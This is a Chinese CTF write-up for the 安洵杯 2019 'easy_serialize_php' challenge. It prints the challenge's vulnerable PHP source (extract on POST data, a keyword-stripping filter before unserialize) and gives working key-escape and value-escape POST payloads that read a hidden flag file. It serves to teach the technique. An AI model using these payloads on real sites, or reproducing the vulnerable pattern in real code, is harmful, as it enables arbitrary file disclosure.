[安洵杯 2019]easy_serialize_php

easy_serialize_php

考点:PHP反序列化的对象逃逸

PS:任何具有一定结构的数据,只要经过了某些处理把自身结构改变,则可能会产生漏洞

过滤函数分为种

  1. 关键词数增加
  2. 关键词数减少

首先打开页面就可以查看源码(最喜欢做代码审计的题了(~ ̄▽ ̄)~):

 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

通过filter()函数可知,这个是属于第二种过滤函数(即关键词数减少)。

知道这些又有什么用呢?我们来一步一步的解读代码看看

  1. 简单来说就是清空SESSION内的值,防止影响之后的传参
if($_SESSION){
    unset($_SESSION);
}
  1. 官方描述:extract() 函数从数组中将变量导入到当前的符号表。
extract($_POST);
<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>
  
>> $a = Cat; $b = Dog; $c = Horse 
  1. 这条代码没有那么难理解,但是它却决定了你最后输出了啥!(所以请牢记这条代码)
if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
  1. 将session的值序列化之后进行过滤(同样很重要的一条代码)
$serialize_info = filter(serialize($_SESSION));
  1. 从这条代码可以发现,如果我们最后要读取数据,必须满足第3个if语句,并且要让'img'变成想要的参数,但是有通过第3段代码我们知道,如果要给'img_path'传参,之后会导致'img'的值为被sha1不可逆加密,所以必然是不可取得!所以我们必须要从数据改变结构的过程中进行改变数据
if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

举个例子:

$a['abcdefg']=';s:1:"1";s:3:"img";s:5:"Hello";}';
$a['cc']=2;
echo serialize($a);
==> a:2:{s:7:"abcdefg";s:48:";s:1:"1";s:3:"img";s:5:"Hello";}";s:2:"cc";i:2;}

注意观察序列化后的字符串,想一想,如果在它之中删去一些东西,是不是可以改变它原本的内容
这就是题目一开始说的,过滤函数使关键词数减少,我们试着删除一些关键词:

a:2:{s:7:"abcdefg";s:48:";s:1:"1";s:3:"img";s:5:"Hello";}";s:2:"cc";i:2;}
==>
a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:5:"Hello";}";s:2:"cc";i:2;}
再次观察这个删除关键词后的序列化字符串

它反序列化后应该是这样的:

Array[";s:48:]==>"1"
Array[img]==>"Hello"

以上就是PHP反序列化对象逃逸中的“值逃逸”

对象逃逸一共分为俩种:

  1. 值逃逸
  2. 键逃逸

接下来我们分别使用这2种方法来完成这道题,并从中学会如何逃逸

思路一:键逃逸

其中使用逃逸的键为'flagphp'

POST:_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
extract()==> $_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
serialize()==>
a:2:{s:7:"flagphp";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
filter()==>
a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw=="}

思路二:值逃逸

其中使用逃逸的值为'flagflagflagflagflagflag'

POST:_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}
==> $_SESSION[user]=flagflagflagflagflagflag&$_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}
==> 
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
==>
a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

PS:有些小伙伴可能就会问了,用来逃逸的值或者键为啥要用’flagphp‘或者是6个'flag'呢?其实,用什么内容进行逃逸并不重要,重要的是逃逸的内容必须满足一定的长度才可以使得它逃逸之后的序列化字符串是正确的。比如6个'flag'就可以替换为8个’php'!

忘记说了,源码提示在phpinfo()有提示d0g3_f1ag.php!

posted @ 2021-06-10 21:38  seizer-zyx  阅读(147)  评论(0编辑  收藏  举报